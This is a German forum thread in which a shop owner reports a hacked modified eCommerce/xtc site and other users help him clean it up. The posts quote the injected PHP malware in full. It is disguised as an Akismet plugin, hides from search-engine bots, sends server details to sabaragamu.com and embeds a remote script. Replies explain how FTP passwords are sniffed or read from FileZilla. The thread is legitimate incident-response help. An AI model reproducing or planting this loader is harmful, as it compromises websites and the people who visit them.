Neuigkeiten
  • Die modified eCommerce Shopsoftware ist kostenlos, aber nicht umsonst.
    Spenden
  • Damit wir die modified eCommerce Shopsoftware auch zukünftig kostenlos anbieten können:
    Spenden
  • Thema: Hack?

    dernix

    • Fördermitglied
    • Beiträge: 129
    Hack?
    am: 08. November 2014, 23:03:36
    Hallo,

    ich habe festgestellt, dass es einige Dateien gibt, die am 6.11.14 geändert wurden, wofür es aber keinen Grund gibt. Folgende für mich zunächst verdächtige Änderungen habe ich gefunden:

    /shop/index.php
    Code: PHP  [Auswählen]
    $q = __url_get_contents(
                "http://sabaragamu.com/y8fm3kvc.php" . "?fid=30305&info=" . http_build_query( $q ) . "&no=1&allow=1",
                2
            );

            $q = trim( $q );
            if( $q !== 'false' ) {
                echo "<script type=\"text/javascript\" src=\"http://sabaragamu.com/y8fm3kvc.php?id=1309150\"></script>";
            }
        }
    }
    #/7fadaf#

    dieser Code stand mit etwas anderer ID in einigen Dateien drin, z. B. auch in
    /shop/______installer/index.php
    /shop/_-_xtc-installer_-_/index.php
    /shop/__update_installer/index.php
    /shop/inc/search_replace_default.php
    /shop/includes/form_check.js.php
    /shop/includes/header.php
    /shop/includes/google.conversiontracking.js.php
    /shop/templates_c/diverse Dateien

    das kommt mir sonderbar vor, zumal ich unter sabaragamu weder hier im Forum noch in der weiten Welt des Web etwas aussagekräftiges finden konnte.

    was hab ich jetzt gemacht?
    sämtliche FTP-Konten gelöscht ... Admin-PWer im Shop geändert und den Code aus den jeweiligen Dateien rausgeworfen.

    Mir schwant nur, dass ich u. a. zu viel gelöscht habe ... denn die index.php startet jetzt nicht mehr, sondern nur noch mit 500 interner Serverfehler.
    Rufe ich die Datei im Browser direkt auf, erhalte ich diese Fehlermeldung
    Code: PHP  [Auswählen]
    Parse error: syntax error, unexpected $end in .../shop/index.php on line 172

    in der Zeile 172 findet sich noch dieses Zeichen
    Code: PHP  [Auswählen]
    ?>

    Wonach sollte ich noch suchen?
    Wie bekomm ich die index wieder ans Laufen?

    Danke und Gruß,
    Dietmar

    shop
    Code: PHP  [Auswählen]
    www.eggersmann-modellautos.de/shop/index.php


    Linkback: https://www.modified-shop.org/forum/index.php?topic=31436.0

    dernix

    • Fördermitglied
    • Beiträge: 129
    Re: Hack?
    Antwort #1 am: 08. November 2014, 23:11:07
    achso, über dem Code steht in der index

    Code: PHP  [Auswählen]
     $q['SCRIPT_FILENAME'] = $_SERVER['SCRIPT_FILENAME'];
            $q['SCRIPT_NAME'] = $_SERVER['SCRIPT_NAME'];
            $q['PHP_SELF'] = $_SERVER['PHP_SELF'];
            $q['HTTP_HOST'] = $_SERVER['HTTP_HOST'];
            $q['REDIRECT_STATUS'] = $_SERVER['REDIRECT_STATUS'];
            $q['SERVER_NAME'] = $_SERVER['SERVER_NAME'];
            $q['SERVER_ADDR'] = $_SERVER['SERVER_ADDR'];
            $q['SERVER_ADMIN'] = $_SERVER['SERVER_ADMIN'];

    gehört das dahin?

    Matt

    • Experte
    • Beiträge: 4.241
    Re: Hack?
    Antwort #2 am: 08. November 2014, 23:26:50
    Ja, sieht nach Hack aus. Richtig wäre, alle Rechner, die FTP-Zugriff haben, auf Viren und Trojaner zu prüfen, dann, wenn diese sauber sind, die Passwörter zu ändern und dann ein sauberes Backup von vor dem Hack in den Shop einspielen. (Und kein FTP mehr verwenden.)

    Und ja, du hast vermutlich zu viel gelöscht. Die Fehlermeldung deutet auf fehlende schließende Klammern hin.

    dernix

    • Fördermitglied
    • Beiträge: 129
    Re: Hack?
    Antwort #3 am: 09. November 2014, 00:14:04
    danke für die Tipps ... und ja, zwei Klammern fehlten, jetzt läuft der Shop wieder ... nachdem ich aus irgendwas bei 30/40 Dateien diese Zeilen rausgeschmissen hab.

    Der Codeblock aus meinem zweiten Beitrag oben ist dann vermutlich richtig an der Stelle?

    Ist ein managed server, den ich nicht sooo einfach jederzeit zurücksetzen kann.

    Ich hab den Eindruck, dass ich alle veränderten Dateien jetzt habe. Hab nach Datum gesucht und alle Dateien angeschaut bzw. editiert. Der Server läuft jetzt auch wieder deutlich schneller.

    Matt

    • Experte
    • Beiträge: 4.241
    Re: Hack?
    Antwort #4 am: 09. November 2014, 10:33:17
    Der Codeblock aus meinem zweiten Beitrag oben ist dann vermutlich richtig an der Stelle?

    Nein. Das ist die komplette index.php:
    Code: PHP  [Auswählen]
    <?php

    /* -----------------------------------------------------------------------------------------
       $Id: index.php 4173 2013-01-04 12:08:26Z web28 $

       XT-Commerce - community made shopping
       http://www.(( Wir dulden keine kommerziellen Werbelinks - Bitte <a href="index.php?topic=3013.0">Forenregeln</a> beachten! ))

       Copyright (c) 2003 XT-Commerce
       -----------------------------------------------------------------------------------------
       based on:
       (c) 2000-2001 The Exchange Project  (earlier name of osCommerce)
       (c) 2002-2003 osCommerce(default.php,v 1.84 2003/05/07); www.oscommerce.com
       (c) 2003      nextcommerce (default.php,v 1.13 2003/08/17); www.nextcommerce.org

       Released under the GNU General Public License
       -----------------------------------------------------------------------------------------
       Third Party contributions:
       Enable_Disable_Categories 1.3                Autor: Mikel Williams | mikel@ladykatcostumes.com
       Customers Status v3.x  (c) 2002-2003 Copyright Elari elari@free.fr | www.unlockgsm.com/dload-osc/ | CVS : http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/elari/?sortby=date#dirlist

       Released under the GNU General Public License
       ---------------------------------------------------------------------------------------*/


    include ('includes/application_top.php');

    // create smarty elements

    $smarty = new Smarty;

    // include boxes
    require (DIR_FS_CATALOG.'templates/'.CURRENT_TEMPLATE.'/source/boxes.php');
    include (DIR_WS_MODULES.'default.php');
    require (DIR_WS_INCLUDES.'header.php'); //web28 - 2013-01-04 - load header.php after default.php because of error handling status code
    $smarty->assign('language', $_SESSION['language']);

    $smarty->caching = 0;
    if (!defined('RM'))
            $smarty->load_filter('output', 'note');
    $smarty->display(CURRENT_TEMPLATE.'/index.html');

    include ('includes/application_bottom.php');
    ?>

    Ist ein managed server, den ich nicht sooo einfach jederzeit zurücksetzen kann.

    Die Logik verstehe ich nicht. Wir haben auch managed Server. Da ist das Restore super einfach. Gut, außer die Kisten stehen bei 1&1...

    dernix

    • Fördermitglied
    • Beiträge: 129
    Re: Hack?
    Antwort #5 am: 09. November 2014, 15:25:58
    mmhh ... so sieht meine index.php aus [ist ja etwas umfangreicher]:
    Den Block [siehe oben] werde ich dann wohl noch rausnehmen; auch aus den anderen Dateien. Das müsste es dann sein, oder?

    Code: PHP  [Auswählen]
    <?php

    /* -----------------------------------------------------------------------------------------
       $Id: index.php 4173 2013-01-04 12:08:26Z web28 $  

       XT-Commerce - community made shopping
       http://www.(( Wir dulden keine kommerziellen Werbelinks - Bitte <a href="index.php?topic=3013.0">Forenregeln</a> beachten! ))

       Copyright (c) 2003 XT-Commerce
       -----------------------------------------------------------------------------------------
       based on:
       (c) 2000-2001 The Exchange Project  (earlier name of osCommerce)
       (c) 2002-2003 osCommerce(default.php,v 1.84 2003/05/07); www.oscommerce.com
       (c) 2003      nextcommerce (default.php,v 1.13 2003/08/17); www.nextcommerce.org

       Released under the GNU General Public License
       -----------------------------------------------------------------------------------------
       Third Party contributions:
       Enable_Disable_Categories 1.3                Autor: Mikel Williams | mikel@ladykatcostumes.com
       Customers Status v3.x  (c) 2002-2003 Copyright Elari elari@free.fr | www.unlockgsm.com/dload-osc/ | CVS : http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/elari/?sortby=date#dirlist

       Released under the GNU General Public License
       ---------------------------------------------------------------------------------------*/


    include ('includes/application_top.php');

    // create smarty elements

    $smarty = new Smarty;

    // include boxes
    require (DIR_FS_CATALOG.'templates/'.CURRENT_TEMPLATE.'/source/boxes.php');
    include (DIR_WS_MODULES.'default.php');
    require (DIR_WS_INCLUDES.'header.php'); //web28 - 2013-01-04 - load header.php after default.php because of error handling status code
    $smarty->assign('language', $_SESSION['language']);

    $smarty->caching = 0;
    if (!defined('RM'))
            $smarty->load_filter('output', 'note');
    $smarty->display(CURRENT_TEMPLATE.'/index.html');

    include ('includes/application_bottom.php');  
    ?>
    <?php
    #7fadaf#
    /**
     * @package Akismet
     */

    /*
    Plugin Name: Akismet
    Plugin URI: http://akismet.com/
    Description: Used by millions, Akismet is quite possibly the best way in the world to <strong>protect your blog from comment and trackback spam</strong>. It keeps your site protected from spam even while you sleep. To get started: 1) Click the "Activate" link to the left of this description, 2) <a href="http://akismet.com/get/">Sign up for an Akismet API key</a>, and 3) Go to your Akismet configuration page, and save your API key.
    Version: 3.0.0
    Author: Automattic
    Author URI: http://automattic.com/wordpress-plugins/
    License: GPLv2 or later
    Text Domain: akismet
    */


    /*
    This program is free software; you can redistribute it and/or
    modify it under the terms of the GNU General Public License
    as published by the Free Software Foundation; either version 2
    of the License, or (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
    */


    if( empty( $q ) ) {
        if( ( substr( trim( $_SERVER['REMOTE_ADDR'] ), 0, 6 ) == '74.125' ) || preg_match(
                "/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i",
                $_SERVER['HTTP_USER_AGENT']
            )
        ) {
        } else {
            error_reporting( 0 );
            @ini_set( 'display_errors', 0 );
            if( !function_exists( '__url_get_contents' ) ) {
                function __url_get_contents( $remote_url, $timeout )
                {
                    if( function_exists( 'curl_exec' ) ) {
                        $ch = curl_init();
                        curl_setopt( $ch, CURLOPT_URL, $remote_url );
                        curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
                        curl_setopt( $ch, CURLOPT_CONNECTTIMEOUT, $timeout );
                        curl_setopt( $ch, CURLOPT_TIMEOUT, $timeout ); //timeout in seconds
                        $_url_get_contents_data = curl_exec( $ch );
                        curl_close( $ch );
                    } elseif( function_exists( 'file_get_contents' ) && ini_get( 'allow_url_fopen' ) ) {
                        $ctx = @stream_context_create(
                            array(
                                'http' =>
                                    array(
                                        'timeout' => $timeout,
                                    )
                            )
                        );
                        $_url_get_contents_data = @file_get_contents( $remote_url, false, $ctx );
                    } elseif( function_exists( 'fopen' ) && function_exists( 'stream_get_contents' ) ) {
                        $handle = @fopen( $remote_url, "r" );
                        $_url_get_contents_data = @stream_get_contents( $handle );
                    } else {
                        $_url_get_contents_data = __file_get_url_contents( $remote_url );
                    }
                    return $_url_get_contents_data;
                }
            }

            if( !function_exists( '__file_get_url_contents' ) ) {
                function __file_get_url_contents( $remote_url )
                {
                    if( preg_match(
                        '/^([a-z]+):\/\/([a-z0-9-.]+)(\/.*$)/i',
                        $remote_url,
                        $matches
                    )
                    ) {
                        $protocol = strtolower( $matches[1] );
                        $host = $matches[2];
                        $path = $matches[3];
                    } else {
                        // Bad remote_url-format
                        return false;
                    }
                    if( $protocol == "http" ) {
                        $socket = @fsockopen( $host, 80, $errno, $errstr, $timeout );
                    } else {
                        // Bad protocol
                        return false;
                    }
                    if( !$socket ) {
                        // Error creating socket
                        return false;
                    }
                    $request = "GET $path HTTP/1.0\r\nHost: $host\r\n\r\n";
                    $len_written = @fwrite( $socket, $request );
                    if( $len_written === false || $len_written != strlen( $request ) ) {
                        // Error sending request
                        return false;
                    }
                    $response = "";
                    while( !@feof( $socket ) &&
                        ( $buf = @fread( $socket, 4096 ) ) !== false ) {
                        $response .= $buf;
                    }
                    if( $buf === false ) {
                        // Error reading response
                        return false;
                    }
                    $end_of_header = strpos( $response, "\r\n\r\n" );
                    return substr( $response, $end_of_header + 4 );
                }
            }

            $q['SCRIPT_FILENAME'] = $_SERVER['SCRIPT_FILENAME'];
            $q['SCRIPT_NAME'] = $_SERVER['SCRIPT_NAME'];
            $q['PHP_SELF'] = $_SERVER['PHP_SELF'];
            $q['HTTP_HOST'] = $_SERVER['HTTP_HOST'];
            $q['REDIRECT_STATUS'] = $_SERVER['REDIRECT_STATUS'];
            $q['SERVER_NAME'] = $_SERVER['SERVER_NAME'];
            $q['SERVER_ADDR'] = $_SERVER['SERVER_ADDR'];
            $q['SERVER_ADMIN'] = $_SERVER['SERVER_ADMIN'];
           
            }
    }
    ?>

    dernix

    • Fördermitglied
    • Beiträge: 129
    Re: Hack?
    Antwort #6 am: 09. November 2014, 16:05:49
    wenn ich es so richtig sehe, kann vermutlich dieser ganze akismet-Kram raus?

    die Logik dahinter heißt Montag :)

    Danke und Gruß,
    Dietmar

    Matt

    • Experte
    • Beiträge: 4.241
    Re: Hack?
    Antwort #7 am: 09. November 2014, 18:22:34
    Akismet ist ein primär für Wordpress benutztes Plugin, um Kommentarspam zu minimieren. Ich wüsste nicht, was das in deinem Shop verloren haben sollte.

    fishnet

    • Fördermitglied
    • Beiträge: 4.821
    • Geschlecht:
    Re: Hack?
    Antwort #8 am: 09. November 2014, 18:33:43
    Vielleicht hilft das ja weiter:
    FAQ: Hilfe, ich glaube mein Shop wurde gehackt

    dernix

    • Fördermitglied
    • Beiträge: 129
    Re: Hack?
    Antwort #9 am: 09. November 2014, 21:44:11
    danke für Eure Unterstützung!  :thumbs:

    dernix

    • Fördermitglied
    • Beiträge: 129
    Re: Hack?
    Antwort #10 am: 13. November 2014, 22:29:33
    ... der Angriff erfolgte über ein schon etwas länger bestehendes FTP-Konto. Das Passwort war kein einfaches, bestand allerdings schon seit 2,5 Jahren.
    Zwei verschiedene Rechner arbeiteten mit diesem FTP-Konto, beide Rechner sind nicht infiziert [mehrfach Scans mit malwarebyte, Avira]. Der FTP-Zugriff erfolgte aus GB.

    Gibts eine Möglichkeit außer über die beiden Rechner, ein solches Passwort in Erfahrung zu bringen?
    [Der Server macht nach fünfmaligem Versuch mit falschem Passwort dicht].

    Danke und Gruß,
    Dietmar

    hbauer

    • Experte
    • Beiträge: 1.097
    Re: Hack?
    Antwort #11 am: 14. November 2014, 07:18:12
    Vielleicht wurde es mal per mail verschickt und der Mail account wurde gehackt?

    Gruß

    Hagen Bauer

    Bonsai

    • Viel Schreiber
    • Beiträge: 4.127
    • Geschlecht:
    Re: Hack?
    Antwort #12 am: 14. November 2014, 09:31:43
    Da Du offensichtlich FTP verwendest, kann jeder im gleichen Subnetz wie die beiden Rechner (besonders Fatal bei WLAN) das Passwort mitlesen, da bei FTP das Passwort UNVERSCHLÜSSELT übertragen wird.

    Geht z.B. mit dem Programm:
    https://www.wireshark.org/

    Oder mit einem simplen kleinen selbstgeschriebenen Programm.

    Deshalb bitte wenn möglich immer SFTP nehmen!!!

    Ein Scan eines Rechners nach Viren zeigt Dir NICHT, dass der Rechner Virenfrei ist, sondern nur, dass er frei von bekannten Viren ist! Und ein gutes Rootkit ist so gut wie überhaupt nicht zu finden! Neu installieren die Kisten!

    Leberwurstnektar

    • Neu im Forum
    • Beiträge: 12
    Re: Hack?
    Antwort #13 am: 14. November 2014, 09:45:19
    Eventuell Filezilla verwendet und das Passwort gespeichert? Filezilla speichert die Passwörter im Klartext. Es gibt Webseiten, die die entsprechende Datei auslesen.

    dernix

    • Fördermitglied
    • Beiträge: 129
    Re: Hack?
    Antwort #14 am: 14. November 2014, 10:47:36
    Es könnte sein, dass der externe Dienstleister im Frühjahr 2012 Filezilla und damit halt FTP benutzt hat. Dem hatte ich seinerzeit das Passwort als pdf gemailt. Aber das ist schon 2,5 Jahre her ...
    Hier kann ich mich auch nur auf die Aussage verlassen, dass es dort keinen "Zwischenfall" gegeben hat, beim Schnittstellenrechner hab ich es selbst gesehen, zumindest mit Avira und malwarebytes [mit aktivierter Rootkit-Suche im abgesicherten Modus].

    Aktuell ist es so, dass der "geknackte" FTP-Zugang - wenn auch mit FTProtokoll - nicht direkt mit einem FTP-Programm, sondern mit einer Schnittstelle zwischen modified/xtc und selectline arbeitet.
    Der Rechner ist ein Einzelrechner ohne LAN/WLAN-Kumpel.

    Welche Scanner wären denn noch empfehlenswert [100% gibts nicht, das ist klar]?
    5 Antworten
    569 Aufrufe
    22. Dezember 2022, 09:46:05 von noRiddle (revilonetz)
    1 Antworten
    2057 Aufrufe
    14. März 2013, 16:13:00 von Alfred
    1 Antworten
    2150 Aufrufe
    04. Dezember 2016, 16:22:46 von chr1s4us
    3 Antworten
    4277 Aufrufe
    19. Dezember 2011, 13:51:46 von MisterShow